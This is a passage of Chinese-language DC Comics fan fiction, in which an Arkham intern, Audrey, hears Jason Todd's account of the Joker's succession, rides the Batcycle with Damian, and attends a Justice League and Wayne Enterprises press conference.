“你怎么来了？儿童福利院那边出什么状况了吗？我漏接了你的电话？”奥德莉急忙去翻手机,却没看到错过的信息。 “没什么，来这边办点事。上次还没好好谢谢你，就想借机请你吃个饭。” “这里的食堂对员工免费,你知道吧？”奥德莉第一次遇到这么小气的有钱人，布莱克可是已经告诉她了，对方是冰山餐厅的老板。 杰森被这么一问，也意识到自己的安排听起来像是一个毫无诚意的、为了省钱的鬼点子。他尴尬地挠挠头,奥德莉也跟着尴尬,赶紧说：“我开玩笑的。我就喜欢阿卡姆的食堂，你要是骑车带我去市区……” 奥德莉本来想说“要是骑车带我去市区,我也会婉拒”，但看了看眼前这辆极其重工、极其炫酷的摩托车，她咽了咽口水,生怕说出拒绝的话伤了这辆摩托的心。 杰森很喜欢看别人对自己的爱车投以羡慕和赞美的眼神,主动邀请道：“饭后我可以载你兜一圈。” “啊，不是借给我骑一圈啊？”奥德莉失望地说。 “除了我之外，没有人能驾驶我的小美。”杰森斩钉截铁地说，一副“头可断、血可流、爱车绝不外借”的态度。 “可以理解，如果我有这么酷的摩托,我也不会舍得借给别人。”眼看气氛又陷入尴尬,奥德莉反省自己的要求实在是太冒昧了，赶紧出言缓和。 杰森也意识到自己的态度过于生硬,干笑几声，将摩托停到路旁，和奥德莉一起朝食堂走去。 “我刚来的时候，有人告诉我一定要试试意大利面，不知道你是否尝过。真的很好吃。”奥德莉推荐道。 两人今天的对话总是跑偏，杰森正努力想把话题拉回正轨，恰好他对美食很有心得，闻言便应和道：“我吃过，的确不错。甜品也都做得很好。厨师长是个意大利人，不过并不守旧，很乐意对菜色创新。” “难怪我刚来的时候吃到过夏威夷口味的那不勒斯披萨，当时感觉很震撼，是我吃过最好吃的披萨。” 杰森将奥德莉领到餐厅的角落坐下，奥德莉觉得他一定是有话想说，也不催促，回应着杰森的东拉西扯。杰森问奥德莉在阿卡姆的实习经历，和病人的相处，平时闲暇干点什么，奥德莉都一一答了。 ——直到奥德莉的耐心被耗尽。 眼看食堂里的人越来越少，奥德莉终于忍不住压低声音问：“你今天来找我到底是想问什么？周围没人了，你可以说了。” 杰森还在那里不说正题，奥德莉紧张起来，最后严肃地问：“你不是要找我借钱吧？” 沉默是今晚的阿卡姆食堂。 “呃，不是。”杰森立刻否认。 “还是你需要我也离开，才能说出口？”奥德莉打趣地指指周围的空座位。 “我今天去看了小丑。”杰森开了头，感觉后面的话就顺畅了。“有人帮他修改了前两天的监控，蝙蝠侠没有及时收到提示。我听说你向蝙蝠侠提出示警。” “那你今天去找他，不会打草惊蛇吗？”奥德莉担忧。 “我今天不来才会。”对上奥德莉不解的目光，杰森解释说：“我每个月都会来看他一次，好吧，揍他一次。” “我会保密的。”奥德莉严肃地说。“而且我的实习到月底就结束了。” 杰森扯了扯嘴角，露出一个有点勉强的笑，然后说：“我知道小丑不是你的病人之一，所以我很好奇，你为什么会知道他的动向。” “我没办法解释。”奥德莉坦然地看着杰森。“不过如果你信任达米安，那在这件事情上你也可以信任我。我不是小丑那一边的。” “我相信你。”杰森说。“我猜测这大概是你的秘密，但还是想亲自问一下。也想说一声谢谢。” “小丑他是不是……伤害过你的亲人？”奥德莉犹豫着问。“我不会告诉别人你今天来找我，达米安我也不会说的。” “没关系，不用瞒着他。”杰森顿了顿，“小丑他曾经杀死过我。” 奥德莉张了张嘴，大脑尚且在“节哀”和“恭喜复活”中纠结，杰森抢先说：“不过杀死我的不是这个小丑，从□□上来说不是。但是他有前任小丑的记忆，哲学意义上来讲，他们也算是一个人。” “非哲学意义上呢，该怎么理解？”奥德莉真的怀疑别人都进化过，但是忘记告诉她了。不然为什么复活、记忆继承这些听起来像是理所当然的事情，她一个都不会啊。 “你有没有好奇过，以哥谭人民的充沛武德，为什么没有人刺杀过小丑？”杰森先提出一个问题。 “有，昨天刚思考过这个问题。不过没有想出答案。”奥德莉老老实实地说。 “其实是有人刺杀过的，而且成功了。”杰森平静地说出这个鲜为人知的秘密。“第一任小丑声称自己是因为生活中的不顺意而走上犯罪道路。但谁的生活总是一帆风顺的？他只不过是为自己的行为寻找一个理由而已。” 奥德莉点点头，杰森又继续下去：“他害死了许多人，但是哥谭的法律却只判处他在阿卡姆接受治疗。受害者中有一个五岁的女孩，她还处于天真懵懂的阶段，却被小丑漫不经心地杀掉了，只是因为他在强迫路人观看他的表演时，她没有按照他的要求及时笑出来。” “她的父母一定心碎欲绝。” “她的母亲不久后就去世了，父亲以清洁工的身份进入阿卡姆，杀死了小丑。蝙蝠侠感到的时候，小丑的尸体已经几乎被剁碎了。” “然后呢？”奥德莉不自觉地屏住了呼吸。 “小丑的人类本体其实只是个普通人，他在融合了哥谭的罪恶因子之后诞生。而罪恶是不会死亡的。” “罪恶因子选择了下一任宿主，也就是那位父亲？”奥德莉明白了。 “正是如此，屠龙者终成恶龙。”杰森叹息。“自此之后，蝙蝠侠便加强了对小丑的安保措施。在那之前，他其实有一点放任自流的意思，他一贯对别人的同态复仇都很宽容。” 杰森又低声说：“老头子还当我不知道，哼，我早就发现了。幸好我以为是陷阱没有去，不然这一任小丑可能就是我了。”奥德莉能听出他的抱怨里带着亲昵和喜爱。 “那有没有办法在小丑死后将罪恶因子收集起来，避免扩散呢？”奥德莉脑洞大开。“不过我想蝙蝠侠一定已经想到这一点了，而且他一定有更多预案。” 杰森听着奥德莉无缝衔接地开始吹蝙蝠侠，有点无语。他已经听说奥德莉是蝙蝠侠的狂热粉丝了，但亲眼看到总归是更惊奇。 “现在的小丑有以前的记忆，所以我仍然将他视为我的仇敌。但他的身体也是小丑的受害者之一，每次打他的时候我都有点于心不忍。”杰森强行转换话题。 这也是他为什么还定期坚持来揍小丑的原因。他又不是施虐狂，坚持这么做纯粹是为了给自己脱敏。好在小丑化的妆越来越浓，越来越难看出原本的五官相貌，他的心理负担也就没那么重了。 “确实。不过我想从那位父亲的角度来说，也会很乐意看到小丑遭罪吧。”奥德莉安慰道。 “如果有一天哥谭解决了小丑的问题，大概哥谭的所有犯罪问题也都能够被解决吧。”杰森感叹，然后又很有本地人荣誉感地补充：“不过你知道吗，哥谭每年的非正常死亡人数其实比纽约低。” “几乎每个哥谭人发现我来自纽约之后，都对我说过这句话。”奥德莉其实感觉到的更多是好笑，但故意夸张地翻个白眼。“你们哥谭人要不要这么有攀比心。而且纽约人口可是哥谭的好几倍。” “那你们纽约的医院还更多呢，医生的履历也更厉害，医疗条件远超哥谭。”杰森反驳道。 “但是哥谭医院的枪伤治疗是全美第一。”奥德莉也有数据反驳。“最新排名赢了霍普金斯医学院。” “好吧。”杰森发现两人的城市荣誉感都很强烈，在越说越上头之前悬崖勒马。“这次是我的问题，我又扯远了。” 奥德莉也有点不好意思：“我对哥谭没有意见，这次实习住下来，感觉哥谭挺好的。” “如果是十年前，哥谭可能没有这么好。韦恩集团长久付出的成果终于有所体现了。” “也多亏了蝙蝠侠的多年付出，这是他和韦恩先生的共同成果。”奥德莉补充。“韦恩集团在蝙蝠侠出现之前也一直积极投身慈善事业，但效果甚微。” 杰森瞪着奥德莉，瞪了足足三秒，然后说：“你说的对。” 第47章 在被食堂员工清场之前，杰森和奥德莉很自觉地离开了食堂。奥德莉羡慕地…… 在被食堂员工清场之前,杰森和奥德莉很自觉地离开了食堂。奥德莉羡慕地看着杰森骑上摩托潇洒离去的背影，布莱克跳到她的肩膀上，说：“这个人好复杂啊。” “为什么忽然有这个感慨？”奥德莉摸摸布莱克的头。杰森今晚讲了很多,布莱克听得入神,一直趴在奥德莉的腿上,没有中途跑开。 “他死而复生过！”布莱克说，一副很佩服的样子。“但是他那么轻描淡写，云淡风轻,好有大佬气质啊。” “所以你觉得他很酷？”奥德莉笑起来。“你是不是也想做个猫中大佬？” “我是觉得他接受了痛苦，并且与之共存。他没有忘记过去，但勇敢地开启了未来。”布莱克很深沉地总结，“这种气质和我很像。” “呃……我相信你的判断。”奥德莉对这只为赋新词强说愁的小猫咪无话可说,万一布莱克真的也有什么深藏不露的伤心经历呢。 “虽然我没有他的沧桑经历,但我天生就有那种阅尽千帆的气质。”下一秒布莱克就不打自招，暴露了它浅薄的过去。“所以我比他更厉害。哎,但我的起点太高了，这样的话成长空间就会比较有限。” 奥德莉能说什么呢，她只能希望回到纽约之后,布莱克的症状能减轻一点。哥谭,尤其是阿卡姆，大佬密度太高，连猫咪都迷失自我了。 “小丑的情况也很令人唏嘘。”吹嘘完自己，布莱克又开始关心天下大事。“他也真是个大麻烦。” “是啊，他与罪恶一样,无法被永远杀死。”奥德莉叹息。 “达米安今天怎么没联系你？”布莱克要操心的事情实在太多。“你记得提醒他不许再用任何猫咪相关的表情包了。” “我今天早上才刚刚联系过他啊。”奥德莉说,捏捏布莱克的耳朵，“我还挺喜欢那个猫爪表情的。” “你可以用,我批准了。”布莱克大方地说。“因为你是我最喜欢的人类。” “谢谢你的厚爱。”奥德莉笑起来，“那能不能请你也批准达米安在和我聊天的时候用？这样的真正受益人是我呀，我一看到黑猫相关的表情就会很开心，因为会想到你。” 布莱克深思熟虑了一番，同意了。 达米安很忙，不过在收到杰森信息的时候还是抽空点开看了。 【友情提示：奥德莉很喜欢摩托，你可以送她一辆。】 “什么意思？”达米安选择直接语音通话。 杰森把自己和奥德莉的会面简单讲了讲，然后说到奥德莉对自己爱车的觊觎眼神，最后补充道：“我倒不是怕她来偷我的摩托，也不是怕她让你来偷我的摩托，我知道她不是那种人。” “你以为谁都像你一样？”杰森越是强调，达米安越觉得他是在不打自招。“不过谢谢你告诉我。” “或者你可以考虑开蝙蝠车带她兜风。”杰森又冒出一个能让蝙蝠侠生气的好主意。 “然后告诉你停车地点，方便你卸个轮胎？不用了，谢谢。”达米安说。他回忆了一下，奥德莉似乎从未对蝙蝠车表达过向往，但也可能是因为她还没见过蝙蝠车。没有人会不爱蝙蝠车。 或者让奥德莉骑一次蝙蝠摩托，她一定会很高兴。行动力超强的达米安立刻挂断杰森的电话，给奥德莉发信息。 “连个再见都没有。”杰森哼了一声，去巡查自己的产业了。 “达米安让我晚上十点去找韦恩庄园找他，说是夜巡前给我准备了一个惊喜。”奥德莉忍不住开始猜测到底是什么惊喜。“不会是放烟花吧？” “听起来太老土了。”布莱克说。“而且太少女了，看不出来达米安是这种人。” “或者，”奥德莉忽然心跳加速起来，“会不会是蝙蝠侠知道我的实习快结束了，想带我去夜巡一次？那我明天上班打瞌睡怎么办？” “你可以拒绝蝙蝠侠的邀请。”布莱克斜眼看她，绿眼睛里带着了然。 “那怎么行？蝙蝠侠一定是需要我帮忙，那我义不容辞。没事，通宵一次没什么，我可以靠咖啡支撑。”正如布莱克所料，奥德莉精神抖擞，干劲十足。“我应该带点什么呢？” “带上我。”布莱克说。 “你是必需品。”奥德莉抱住布莱克，对它委以重任。“请帮我时刻关注蝙蝠侠的表情。如果我哪里做得不好，你要赶紧提醒我。” “这有点难度。”布莱克圆圆的猫脸上满是苦恼，“他的面具太严实了。” “微表情！”奥德莉说。“观察他的下巴。” “那我坐到他的肩膀上，近距离观察。”布莱克提议。 “好主意。” “达米安少爷，您确定这是个好主意吗？”阿尔弗雷德按照达米安的要求为奥德莉准备了摩托头盔。“这辆摩托并非为载人而设计，尤其是您这样体积的乘客。” “总不能让奥德莉一个人去飙车吧。”达米安说。 “或者谁都不去飙车呢？”阿尔弗雷德说。“这项活动安排对我的心脏很不友好。” “奥德莉肯定会遵守限速的，不用担心。”达米安不在意地说。 “遵守道路限速还是这辆摩托车的最高时速？”阿尔弗雷德犀利地问。“而且奥德莉小姐没有摩托车驾照吧。” “摩托车需要驾照吗？”达米安吃惊。 “这是人工控制装置，您拿好，以防万一。”阿尔弗雷德将一个遥控器大小的物品交给达米安。“我也会密切关注，在需要时远程接管。” “好吧，如果这样能让你安心一点的话。”达米安答应了。 “阿尔弗雷德，达米安，晚上好。”奥德莉出现了，穿着一身黑色衣服，脸上还戴了一副黑色口罩。她的长发在脑后扎成高马尾，出现时发梢微微摇动，暴露了她激动的心情。 “奥德莉小姐，祝您今晚玩得开心。”阿尔弗雷德离开了，没有意识到自己的话对奥德莉造成的误解。 “天啊，我简直不敢相信。”奥德莉语无伦次地说，“是不是你帮忙向蝙蝠侠申请的？我只是提供了微不足道的信息，蝙蝠侠不必这么客气的。” “你在说什么？”达米安微微蹙眉。他发现奥德莉根本没注意到两人身旁的重型摩托，她的注意力完全在周围的夜色中，仿佛在期待什么事物会突然冒出来。 “蝙蝠侠什么时候到？还是我们去市区和他碰头？”奥德莉问。 “蝙蝠侠？”达米安奇怪地说，“他先去夜巡了，我等下去找他。” “你？不是‘我们’吗？”奥德莉诧异。 两人鸡同鸭讲了一会儿，达米安才发现奥德莉的误会。对上奥德莉亮晶晶的期待眼神，达米安一时语塞。奥德莉意识到了不对，说：“是不是我误解了……” “我是想邀请你来骑蝙蝠摩托在附近兜兜风。”达米安本来以为自己准备了一个大惊喜，此刻却变成了大失望。 奥德莉冷静下来想一想，自己之前是想太多了。她看看达米安不自觉抿紧的嘴角，急忙调整心情，摘下口罩欢快地说：“你怎么知道我想骑摩托？是不是杰告诉你的？” “就是他。”达米安冷冷地说。 奥德莉凑到蝙蝠摩托旁边仔细看了一圈，小心翼翼地四处摸摸：“这辆比杰的那辆可酷多了。蝙蝠摩托，嘿嘿，摩托车中的战斗机。” 达米安被奥德莉故意夸张的样子逗笑了。 “悄悄告诉你，其实我没有驾照。”奥德莉视察完毕，跑回达米安旁边，压低了声音，“不过哈利有一辆，聚会的时候我们在他家都骑过，但是没有去过外面的马路。” “哦。”达米安双手环在胸前。“那你会骑吗？我还想着由你来驾驶，带着我兜风呢。” 奥德莉戳戳达米安：“你快来教我吧，这辆车的按钮多到眼花缭乱，我一个人可研究不明白。” 奥德莉的热切态度毫不作伪，达米安也被她的情绪感染得不再低落，耐心地讲解起来。奥德莉很有天分，很快熟练掌握了驾驶技巧，在小范围地绕了几圈后，她停到达米安面前，抬起头盔面罩，笑眯眯地邀请说：“快上车，姐姐带你飞。” 月色下，达米安的脸红并不明显。他也戴上头盔，坐到奥德莉身后，手虚虚地搭在她的腰间，说：“我坐好了。” “出发！”奥德莉欢呼一声，风驰电掣般加速。韦恩庄园后面人迹罕至，她可以完全自由地狂飙。 “加速！加速！”布莱克坐在摩托最前面，身上的毛都被吹得贴在身上，激动地大声喊着。 “不要再加速了！”达米安发现奥德莉的速度越来越快，赶紧提醒。 “这里没有限速标志，”奥德莉说。“如果你感觉害怕的话，就闭上眼睛。” 达米安气得瞪大了一双绿眼睛：“我才不会害怕。” “是吗？那我继续加速啦！”奥德莉开心地说。 第48章 奥德莉和布莱克两个加速狂魔终于心满意足了，奥德莉潇洒地将车停回原位…… 奥德莉和布莱克两个加速狂魔终于心满意足了,奥德莉潇洒地将车停回原位，达米安长腿一撑从车上跳下去，站在她旁边。奥德莉微微仰头,骄傲地问达米安：“我厉害吧？” “厉害。”达米安一开始因为奥德莉的速度而有点担心,但看她控制得当,也就和她一起全心地享受起飙车带来的快乐。 奥德莉因为要响应布莱克，跟着它喊了一堆尴尬的口号，达米安不知内情,却也跟着奥德莉一起喊。两人一猫集体发疯，布莱克自觉是世界之王，此刻仍在兴奋地原地转圈追自己的尾巴。 “谢谢你的惊喜安排，我非常喜欢！这是世界上最酷的摩托。”奥德莉说完,又期待地望着达米安,示意他快点接话。 “你是世界上最厉害的摩托车骑手。”达米安非常贴心地接口，“之一。” 奥德莉不介意达米安加的限定词,排在第一名的一定是车主蝙蝠侠呀。 看看时间，奥德莉催促达米安：“你快去夜巡吧，我要回去休息了。” 达米安的绿眼睛一下又一下地瞄奥德莉,欲言又止的样子实在有趣,奥德莉轻轻推他的肩膀：“是我脑洞太大误解了，以为蝙蝠侠想喊我帮忙做点任务。我对夜巡真的没有那么狂热，不会因为不能参加而失望。你快去吧。” 达米安眨眨眼，奥德莉强调道：“今晚我玩得超级开心，比夜巡还开心。” 达米安放心了,又想起来一件事,说：“正义联盟和韦恩集团会定期举行新闻发布会，大约两三个月一次,公布接下来的合作计划。最近一次安排在周六，你想去参加吗？” “围观群众可以去吗？”奥德莉以前只是看过媒体报道，没注意过下面有记者之外的人。见达米安轻轻点头，她立刻说：“当然想去！你真是太懂我的喜好了。” 每次奥德莉给足情绪价值的时候，达米安都觉得心里像是被羽毛挠了一下。他看着奥德莉对他挥手告别，然后白光一闪消失不见。 之前的喧嚣犹如幻梦，韦恩庄园又一次恢复了夜晚的静谧。达米安又在原地站了一分钟，想到两人一开始的小误解，以及奥德莉生怕他安排的心意被辜负的担忧，忍不住微笑起来。 她说今晚比去夜巡还开心。 回到宿舍后，布莱克的肾上腺素尚未消退，在屋里跑酷，如同一道黑色阴影般在空中闪现。奥德莉故意逗它：“你不是看达米安不顺眼吗？但是坐人家准备的摩托坐得这么开心。” “因为骑手是你，我才坐得稳稳当当。”布莱克马上停下脚步，严正声明。“要是他来开，我一定坐着头晕。” “你真是一只小坏猫。”奥德莉捧起布莱克的猫脸揉了揉。“我今晚真的很开心。” “我也很开心。”布莱克哼哼唧唧地承认了。“感觉比夜巡更有趣。” “其实我也是这么想的，不是为了哄达米安才那么说。”奥德莉有点不好意思地坦白。“我很崇拜蝙蝠侠，但是和他夜巡大概会有点无聊，感觉更像是个拉拉队成员去摇旗呐喊助威。我又不擅长体术，要是真的和坏人打架，罗宾还得分心照看我。” “是啊，你怕拖后腿，肯定要非常专心地跟着蝙蝠侠行动，一定会很累的。”布莱克的脑袋在奥德莉的掌心蹭了蹭。“我也会很累的，因为我要负责对蝙蝠侠察言观色。” “为了在偶像心中的形象，再累也值得。”奥德莉先喊一句口号，然后说，“不过粉丝还是和偶像保持距离比较轻松。” 周六，达米安和奥德莉吃完午饭后一起去韦恩大厦。达米安把事先准备好的访客证交给奥德莉，奥德莉立刻把它挂在脖子上。 两人一起坐到观众区域。这一区域位于新闻室的角落，有十来张椅子，转播镜头会特意避开那里。 旁边的年轻女生与奥德莉打招呼：“你也是抽奖抽到的票吗？” 奥德莉下意识地看向达米安，达米安立刻说：“是的，我们是在买韦恩集团新出的红丝绒饼干时中奖的。” “看来新品中奖率就是更高。我买的是新出的迷你香蕉挞。” “韦恩集团的促销活动？”坐下之后，奥德莉对达米安咬耳朵：“哪个商业鬼*才想出来的主意，真厉害。不过这个是本地福利吗？我第一次听说。” “德雷克的建议，刚试行两次。”达米安说。“还没有推广到其它城市。” “那之后有粉丝合影环节吗？” “这个目前还没有安排。”达米安想了想，有点小心机地问：“你想和谁合影？” “只是好奇，倒没有想合影的超级英雄。”奥德莉随口说道，四处张望着。“闪电侠和绿灯侠都来了，蝙蝠侠怎么没来？” “正联成员通常不会全员出席，据说是轮换执勤。”达米安说。“韦恩集团通常是德雷克做代表，而这次韦恩先生会亲自出席。” “哇哦！”奥德莉期待起来。韦恩先生总能贡献出一些调戏超级英雄的名场面，但因为他从来不会动手动脚，只是言语轻佻，又经常自嘲自黑，所以观众并不觉得他是油腻中年男人，反倒觉得他是为了调节气氛而故意为之。 当然，观众的宽容也可能是因为脸和身材。哥谭王子从小到大都是顶级颜值，身材高大挺拔，他做什么大家都会忍不住为他找理由。哪怕他现在已经有了鱼尾纹，观众也能闭着眼睛说那是蔚蓝湖水的涟漪。如果有一天他有了白发，观众大概会说那是上帝偏心撒下的月光。 发布会开始后，先是绿灯侠和闪电侠代表正义联盟公布了一些信息，然后是韦恩先生讲话，最后是记者提问时间。 奥德莉发现韦恩先生格外喜欢逗闪电侠，可能也是因为后者的反应特别有趣：不管韦恩先生说什么，闪电侠都不会像绿灯侠那样时不时假装没听见，而是给出特别大的反应。 闪电侠又不好意思（耳朵比面罩还红）又敢怒不敢言（小声抗议几句就放弃了），同时又似乎对韦恩先生很信任，在他说话的时候认真地盯着他看。 在几个记者问了一些常规问题之后，一个穿着不太合体西装的记者举手，韦恩先生对他点头示意。记者自我介绍道：“星球日报，克拉克肯特。请问……” 肯特记者的话还没说完，韦恩先生已经对他露出活泼的笑容：“我记得你，肯特记者。你已经是第三次来参加韦恩集团的记者会了，不过还是第一次在正联的新闻会上看到你。” 肯特记者缩了缩肩膀，闪电侠和绿灯侠交头接耳。 韦恩先生继续滔滔不绝：“你是被派来接替乔治克鲁姆先生负责哥谭新闻了吗？他是不是厌倦了我们哥谭的雾气，还是他另寻高就了？” 他的声音轻快，但在克拉克肯特aka超人听来，自动脑补成蝙蝠侠的低沉声音：“超人，谁允许你天天在哥谭闲逛的？不要来多管闲事。” 大个子记者将肩膀缩得更紧了，磕磕巴巴地说：“克鲁姆先生家里有事，我临时代班一段时间。” “一段时间是多久？看来我应该多关心旗下员工的私生活，如果他们遇到困难可以及时伸出援手。”韦恩先生忙里偷闲地还能给另外一位女记者一个wink。 是的，星球日报已经被韦恩集团收购几年了，只不过为了保持新闻独立性，集团并不插手报社的日常运营。 “谢谢，我会向他转达您的关心。”肯特记者到底是从业多年的资深记者，面对韦恩先生的东拉西扯，他顽强地将话题拉回正轨：“我想问的是，韦恩集团接下来是否打算……” 提问环节热热闹闹地进行着，奥德莉看得津津有味，旁边的达米安不停递给她各种小零食。奥德莉有点惊讶，但看现场的观众都自备了吃喝，便积极地融入其中。 奥德莉旁边的女生也带了许多零食，还热情地告诉奥德莉：“这些都是闪电侠在不同场合说过好吃的。我真是太幸运了，抽中的这一场闪电侠和绿灯侠都在。” “你是他们的粉丝？”奥德莉和她交换着零食，两人像仓鼠一样没完没了地吃着。 “他们两个我都很喜欢，我是绿红CP粉。”女生的双眼中闪动着激动的光芒。“你呢？” “我是蝙布的粉丝。”奥德莉从不隐瞒自己的CP属性，很光荣地说。 “这是哥谭主流CP，你很有眼光。”女生听出她的纽约口音，夸奖道。 “你也一样，他俩确实很萌。”奥德莉也礼貌互吹。 “可惜不允许观众拍照。”女生遗憾地说，“不过我已经把他们相处的每一帧都刻进了脑海。” “我好想亲眼看看蝙布同框。”奥德莉喃喃地说。 旁边的达米安无奈地在心里翻了个白眼，假装没有听见。 第49章 发布会圆满落幕，其中韦恩先生功不可没。他热情地与记者们打着招呼，将…… 发布会圆满落幕,其中韦恩先生功不可没。他热情地与记者们打着招呼，将氛围炒得火热。不仅如此，韦恩先生还从不知哪里掏出一个条幅,上书“大美韦恩,助梦成真”,表示接下来韦恩集团将举行多项活动，让超级英雄的粉丝们有机会了解更多关于偶像的信息。 奥德莉悄悄问达米安：“韦恩先生在上学的时候是不是经常做校园主持人？他怎么这么熟练？” 达米安毫不犹豫地出卖父亲：“他在学校里少言寡语，没什么朋友。” “真的吗？我不信。”奥德莉用戏剧化的腔调说。她确实觉得难以置信。 “据说他在大学之后出国旅居了一段时间,回来才变成这样的。”达米安说。“当时记者们还很吃惊，明明他小时候不爱说话，很少接受采访，怎么忽然变成了交际花。” “也许说明他放下了父母去世的心结？那管家先生一定为他的变化开心吧？” “大概是喜忧参半。”达米安说。阿尔弗雷德一方面希望布鲁斯是真的享受生活而非演出,天天提醒他要对自己好一点,一方面嫌弃他的演技太浮夸，会让人诟病他这位英伦管家对少爷的教育和培养。 布鲁斯从未真正从父母去世的小巷中走出过,也许那个无忧无虑的小布鲁斯也一起死在了犯罪巷。活下来的是黑夜，是复仇，是哥谭的黑暗骑士。即使是在最痛苦的时候,布鲁斯也从来没有消沉过,他将全部精力投入在拯救他人上，以至于忘了自己。 但也许，在阿尔弗雷德、女儿和儿子们、正义联盟的同伴们的陪伴下，布鲁斯又慢慢地复活了。他心底的伤痕仍在，也许永远不会痊愈,但它终于结痂,而不是日日夜夜流血不止。 “我看他玩得挺开心的。”奥德莉看着台上致谢的韦恩先生，对方正热情地对达米安的方向挥手。 达米安撇撇嘴：“我警告过他不许和我打招呼。” “他要是不理你,记者可能又有素材了。”奥德莉很佩服哥谭小报胡说八道的能力，尤其是那些吸引眼球的标题，非常体现记者们在报道富豪们的时候欺软怕硬和肆无忌惮的心态。 毕竟在哥谭，谁都知道无论怎么写那些有钱人，他们都不会生气，但如果惹怒了反派，那些神经病是真的会杀人。 “结束之后我们快点走。”达米安真怕父亲演得上了瘾，把自己也拉上。 “我们可以趁现在溜走。”奥德莉提议道，然后和达米安一起跑掉了，全然无视台上韦恩先生拼命挽留的眼神。 当晚，布鲁斯回家之后又和阿尔弗雷德抱怨：“达米安跑得比闪电侠还快，完全不肯理我。他是不是青春期在闹别扭？这个年龄的男孩都这样吗？” “我可真说不上来。”阿尔弗雷德很认真地说：“毕竟您生下来就很成熟，像个二十多岁的人。” “阿福，你又笑话我……”布鲁斯扁扁嘴。他的青春期过得比任何人都更轰轰烈烈，尤其是那一场说走就走的离家出走令阿福十分担心，但也只能等着布鲁斯自己想通后回来。 好在出去流浪的黑猫像旅行青蛙一样，时不时会寄点东西回家，让阿福知道他还活着。除了潦草地写着只言片语的明信片，阿福还收到过各种植物标本，雪山上摘下的花朵制成的干花、热带地区植物的叶子、亦或是某个小岛特有的木头。 如果收件人是阿尔弗雷德之外的人，大概只会觉得莫名其妙。但阿尔弗雷德能认出每一种植物，甚至能从植物标本的制作工艺上猜测出布鲁斯当时的心情，尽管布鲁斯通常连一张字条都欠奉，只是把邮寄的物品粗暴地塞进手边的某个袋子里寄出。 最后，黑猫回到了他的巢穴，并且在最亲近的人提到自己的叛逆历史时有点不好意思。在他的情绪最激烈的时候，他曾说过一些近乎自暴自弃的话，阿福劝了又劝，最后留给他一个黯然拭泪的背影。 在那一刻，布鲁斯意识到自己不能再这样刺伤阿福的心了。虽然他只能对着一个人说出最真实的情绪，但阿福连这样的一个人都没有。阿福在用一个人的心灵容纳两个人的烦忧，最多只是偶尔说点英式嘲讽，但从来没有用激烈的情绪刺伤已经伤痕累累的布鲁斯。 “我明白这个道理：如果你想战胜世界上的魔鬼，你得先战胜自己。”又一次，在阿福担心布鲁斯会在战斗中不顾及自身时，布鲁斯半是承诺半是安抚地说。他言而有信，尽管曾多次受重伤，但他从未放弃自救，永远追寻一线生机。 阿尔弗雷德温和地看着像液体一样在椅子上扭来扭去的高大男人，说：“您可以再磨蹭一会儿，正好可以直接吃早饭。” “我去睡了，晚安，阿福。”布鲁斯停止撒娇，气呼呼地站起来。夜巡后他已经洗过澡了，此时只穿着T恤和短裤，头发凌乱地竖着。 “晚安，老爷。明早我会烤您喜欢的蔓越莓司康。”金牌饲养员阿尔弗雷德非常擅长哄猫，只用一句话就让布鲁斯乖乖朝卧室走去。 发布会之后，奥德莉和达米安去哥谭图书馆还书。哥谭的图书馆系统设计得非常完善，而且藏书数量完全不输纽约。奥德莉习惯去老城区的那一家，因为它的内部布置最复古，非常有读书氛围。 一些调查员在俗世也很有知名度，他们的笔记甚至成了畅销书被再版数次。当然，普通的读者以为自己看的是冒险小说，只有研习无形之术的人才能读懂字里行间的真正含义。 奥德莉最近借的一本书是调查员H.P.洛夫克拉夫特的《神殿》，其内容基于卡尔海因里希中校兼潜艇艇长的手记编辑而成。这位二战时的德军中校曾近距离接触了某位外神的神殿，在所有的部下都因不可名状而疯狂后，他竟然还能留下有条理的文字记录思维。潜艇后来在海洋中缓慢漂到尤卡坦半岛沿岸的海域，又被H.P.洛夫克拉夫特发现和探索，中校的笔记才得见天日。 这本书奥德莉其实已经在学校读过，但在哥谭图书馆看到另一个出版社的版本，便想读一下看看是否有什么不同。有时候出版社编辑会根据自己的想法做一些小改动，他们自认为是在“润色”文字，但实际效果可能是造成内容上的小错误。 重读《神殿》，奥德莉仍然觉得与其说中校的意志坚定到足以抵抗邪神的侵蚀，倒不如说他已经是德意志帝国的狂热信徒，那种狂热已经足以压过其他一切。 在奥德莉还书之前，达米安也读了一遍，感觉那位上校已经疯狂而尚不自知。他还分享了蝙蝠侠的类似经历：“正义联盟也在任务时造访过某处废弃的神殿，当时除了其中一位，在场的另外几人都受到了不同程度的影响。” “超人如果在场的话，一定是受到影响的成员之一。”奥德莉对超人很有好感，也承认他很强大，但他对精神系魔法的抗性不足也是相当出名的。超人不止一次被精神控制而公开做出一些尴尬举动，记者们毫不留情地拍下高清影像，引来群众善意的嘲笑。 “蝙蝠侠接受过专门的训练，但据我所知，没有任何人能做到他那样。”达米安的消息来源是他的外公雷霄奥古，也即刺客联盟的首领。蝙蝠侠在游历时期曾经隐瞒身份做过雷霄奥古的弟子。两人之间的感情很复杂，比塔利亚与蝙蝠侠之间的感情还复杂。可以说雷霄奥古对蝙蝠侠又爱又恨，也可能是由爱生恨。 雷霄奥古经常对着达米安批判蝙蝠侠不知感恩，但语气中的赞赏之意是藏不住的。达米安在成长过程中每日听着蝙蝠侠的丰功伟业，对蝙蝠侠十分崇拜，为此在刚来哥谭时还与大哥迪克打过几次架，因为迪克总是偷偷地给达米安讲布鲁斯的糗事，希望以此拉近和小弟的距离。 可惜事与愿违，达米安认为迪克的行为是在挑衅，一言不合就拔刀，追得迪克满院子乱跑。倒不是迪克没自信打过达米安，只是达米安太年幼了，和他打架有一种拳打幼儿园小朋友的尴尬感，哪怕这个小朋友其实非常能打而且下手狠辣，身高虽矮，但捅人腰子毫不手软。 “蝙蝠侠没有什么狂热信仰，他只是拥有人类最强大最坚定的意志。”奥德莉完全不需要读条，立刻开始狂吹蝙蝠侠。“那些外神什么的，在蝙蝠侠面前都不堪一击。” “倒也不必这么夸张……”在奥德莉面前，达米安这个曾经的蝙蝠侠狂热粉丝也不得不甘拜下风。他现在仍然很崇拜蝙蝠侠，但近距离的接触让他心中的蝙蝠侠走下神坛，变成一个有血有肉的形象。 第50章 这一天，哥谭图书馆的前台是两位中年图书管理员，其中那位女性叫莉莉安…… 这一天,哥谭图书馆的前台是两位中年图书管理员，其中那位女性叫莉莉安，已经和奥德莉颇为熟稔了。 其实哥谭的图书馆已有紧跟时代的电子借书和还书设备,但奥德莉还是习惯性地去和莉莉安打个招呼,聊上几句。莉莉安不是哥谭当地人,而是在纽约长大和读书的，结婚后才随丈夫一起来到哥谭。 